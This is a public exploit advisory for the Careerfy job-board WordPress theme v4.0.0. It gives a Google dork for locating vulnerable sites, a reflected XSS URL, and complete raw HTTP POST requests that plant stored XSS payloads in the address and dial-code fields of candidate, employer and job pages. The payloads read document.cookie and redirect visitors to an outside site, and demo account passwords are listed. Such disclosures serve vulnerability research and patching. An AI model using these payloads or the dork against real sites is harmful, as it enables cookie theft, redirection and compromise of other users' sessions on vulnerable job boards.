[+] Exploit Title: Careerfy - Job Board WordPress Theme v4.0.0 - Multiple Vulnerabilities [+] Google Dork: inurl:/wp-content/themes/careerfy/ [+] Date: 2020-07-05 [+] Exploit Author: Vlad Vector [ https://vladvector.ru ] [+] Vendor: Eyecix [ http://eyecix.com ] [+] Software Version: 4.0.0 [+] Software Link: https://themeforest.net/item/careerfy-job-board-wordpress-theme/21137053 [+] Tested on: Debian 10 [+] CVE: [+] CWE: CWE-79 ### [ Info: ] [i] An Unauthenticated Reflected & Multiple Authenticated Persistent XSS vulnerabilities was discovered in the Careerfy Job Board theme v4.0.0 for WordPress. [i] An Authenticated Persistent XSS @ Job Page will trigger on the dashboard area /user-dashboard/?tab=manage-jobs and on the job page itself. [i] Demo account #1 (Candidate @ Careerfy PetCare): vladvector / DJKNFU#$&H#IUFD (login / password) [i] Demo account #2 (Employer @ Careerfy Job Board): vladvector / DJKNFU#$&H#IUFD (login / password) [i] Candidate @ PetCare profile URL: https://careerfy.net/petcare/candidate/vladvector/ [i] Employer @ Job Board profile URL: https://careerfy.net/careerbooster/employer/vladvector/ [i] Employer @ Job Board job URL: https://careerfy.net/careerbooster/job/poc-2/ ### [ Vulnerabilities: ] [x] Unauthenticated Reflected XSS -> /?sector_cat=[payload] [x] Authenticated Persistent XSS -> Candidate Profile (vulnerable field: Full Address) [x] Authenticated Persistent XSS -> Employer Profile (vulnerable fields: Dial Code, Full Address) [x] Authenticated Persistent XSS -> Job Page (vulnerable field: Full Address) ### [ Payload: ] [$] 1"--><!--<img src="-->"><img src=x onerror=alert(`VL?DV?CTOR`);alert(document.cookie);window.location=`https://themeforest.net/user/vladvector`;> ### [ PoC Unauthenticated Reflected XSS: ] [!] https://careerfy.net/careerbooster/jobs-listing/?sector_cat=1%22--%3E%3C!--%3Cimg%20src=%22--%3E%22%3E%3Cimg%20src=x%20onerror=alert(`VL?DV?CTOR`);alert(document.cookie);window.location=`https://themeforest.net/user/vladvector`;%3E [!] GET /careerbooster/jobs-listing/?sector_cat=1%22--%3E%3C!--%3Cimg%20src=%22--%3E%22%3E%3Cimg%20src=x%20onerror=alert(`VL?DV?CTOR`);alert(document.cookie);window.location=`https://themeforest.net/user/vladvector`;%3E HTTP/1.1 Host: careerfy.net ### [ PoC Authenticated Persistent XSS -> Candidate User Profile: ] [!] POST /petcare/user-dashboard/?tab=dashboard-settings HTTP/1.1 Host: careerfy.net Content-Type: multipart/form-data; boundary=---------------------------42351733583489166030977870308 Content-Length: 4754 Origin: https://careerfy.net Referer: https://careerfy.net/petcare/user-dashboard/?tab=dashboard-settings Cookie: [cookies_here] -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="user_cvr_photo_cand"; filename="" Content-Type: application/octet-stream -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="u_firstname" Vlad -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="u_lastname" Vector -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="user_profile_slug" vladvector -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="jobsearch_field_user_public_pview" yes -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="jobsearch_field_user_dob_whole" -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="user_phone" -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="dial_code" -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="contry_iso_code" -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="user_sector" 39 -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="jobsearch_field_candidate_jobtitle" Vlad Vector -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="candidate_salary_type" type_1 -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="candidate_salary" -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="candidate_salary_currency" default -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="candidate_salary_pos" left -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="candidate_salary_sep" , -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="candidate_salary_deci" 2 -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="user_bio" -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="academic-level" masters-degree -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="Age" 23` -- 27-years -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="salary" 31337 -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="gender" male1 -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="industry" hack' -- ing -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="cand_user_facebook_url" -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="cand_user_twitter_url" -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="cand_user_linkedin_url" -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="cand_user_dribbble_url" -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="jobsearch_field_location_location1" -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="jobsearch_field_location_location2" -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="jobsearch_field_location_location3" -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="jobsearch_field_location_address" 1"--><!--<img src="-->"><img src=x onerror=alert(`VL?DV?CTOR`);alert(document.cookie);window.location=`https://themeforest.net/user/vladvector`;> -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="jobsearch_field_location_lat" 37.090240 -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="jobsearch_field_location_lng" -95.712891 -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="jobsearch_field_location_zoom" 12 -----------------------------42351733583489166030977870308 Content-Disposition: form-data; name="user_settings_form" 1 -----------------------------42351733583489166030977870308-- ### [ PoC Authenticated Persistent XSS -> Employer Profile: ] [!] POST /careerbooster/user-dashboard/?tab=dashboard-settings HTTP/1.1 Host: careerfy.net Content-Type: multipart/form-data; boundary=---------------------------22074218576675900842109481301 Content-Length: 5617 Origin: https://careerfy.net Referer: https://careerfy.net/careerbooster/user-dashboard/?tab=dashboard-settings Cookie: [cookies_here] -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="user_cvr_photo"; filename="" Content-Type: application/octet-stream -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="u_firstname" Vlad -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="u_lastname" Vector -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="display_name" Vlad Vector -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="user_profile_slug" vladvector -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_user_public_pview" yes -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="user_phone" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="dial_code" 1"--><!--<img src="-->"><img src=x onerror=alert(`VL?DV?CTOR`);alert(document.cookie);window.location=`https://themeforest.net/user/vladvector`;> -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="contry_iso_code" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="user_website" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="user_sector" 34 -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="user_dob_mm" 7 -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="user_dob_dd" 5 -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="user_dob_yy" 2020 -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="user_bio" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="founded-since" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="emp_user_facebook_url" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="emp_user_twitter_url" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="emp_user_linkedin_url" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="emp_user_dribbble_url" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_location_location1" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_location_location2" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_location_location3" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_location_address" 1"--><!--<img src="-->"><img src=x onerror=alert(`VL?DV?CTOR`);alert(document.cookie);window.location=`https://themeforest.net/user/vladvector`;> -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_location_lat" 37.090240 -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_location_lng" -95.712891 -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_location_zoom" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="team_image"; filename="" Content-Type: application/octet-stream -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_team_title[]" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_team_designation[]" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_team_experience[]" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="team_image"; filename="" Content-Type: application/octet-stream -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_team_image[]" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_team_facebook[]" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_team_google[]" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_team_twitter[]" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_team_linkedin[]" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="jobsearch_field_team_description[]" -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="user_settings_form" 1 -----------------------------22074218576675900842109481301 Content-Disposition: form-data; name="terms_cond_check" on -----------------------------22074218576675900842109481301-- ### [ PoC Authenticated Persistent XSS -> Job Page: ] [!] POST /careerbooster/user-dashboard/?tab=user-job HTTP/1.1 Host: careerfy.net Content-Type: multipart/form-data; boundary=---------------------------2947472569940564910711066421 Content-Length: 4254 Origin: https://careerfy.net Referer: https://careerfy.net/careerbooster/user-dashboard/?tab=user-job Cookie: [cookies_here] -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_title" PoC -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_detail" PoC -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="application_deadline" 15-07-2020 19:04:42 -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_sector" 34 -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_type" 20 -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="get_job_skills[]" -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_apply_type" -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_apply_url" -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_apply_email" -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_salary_type" type_1 -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_salary" -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_max_salary" -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_salary_currency" default -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_salary_pos" left -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_salary_sep" , -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_salary_deci" 2 -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="offered-salary" 31337 -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="career-level" -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="experience" 2-years -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="gender" male -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="Industry" -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="qualifications" hacking\ 'skills -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="job_attach_files[]"; filename="" Content-Type: application/octet-stream -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="jobsearch_field_location_location1" -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="jobsearch_field_location_location2" -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="jobsearch_field_location_location3" -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="jobsearch_field_location_address" 1"--><!--<img src="--><img src=x onerror=(alert)(document.cookie)//">1 "><svg/onload=';alert(`VL?DV?CTOR`);window.location=`https://twitter.com/vlad_vector`;'> -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="jobsearch_field_location_lat" 37.090240 -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="jobsearch_field_location_lng" -95.712891 -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="jobsearch_field_location_zoom" 12 -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="user_job_posting" 1 -----------------------------2947472569940564910711066421 Content-Disposition: form-data; name="terms_cond_check" on -----------------------------2947472569940564910711066421-- ### [ Contacts: ] [#] Website: vladvector.ru [#] Telegram: @vladvector [#] Twitter: @vlad_vector [#] GitHub: @vladvector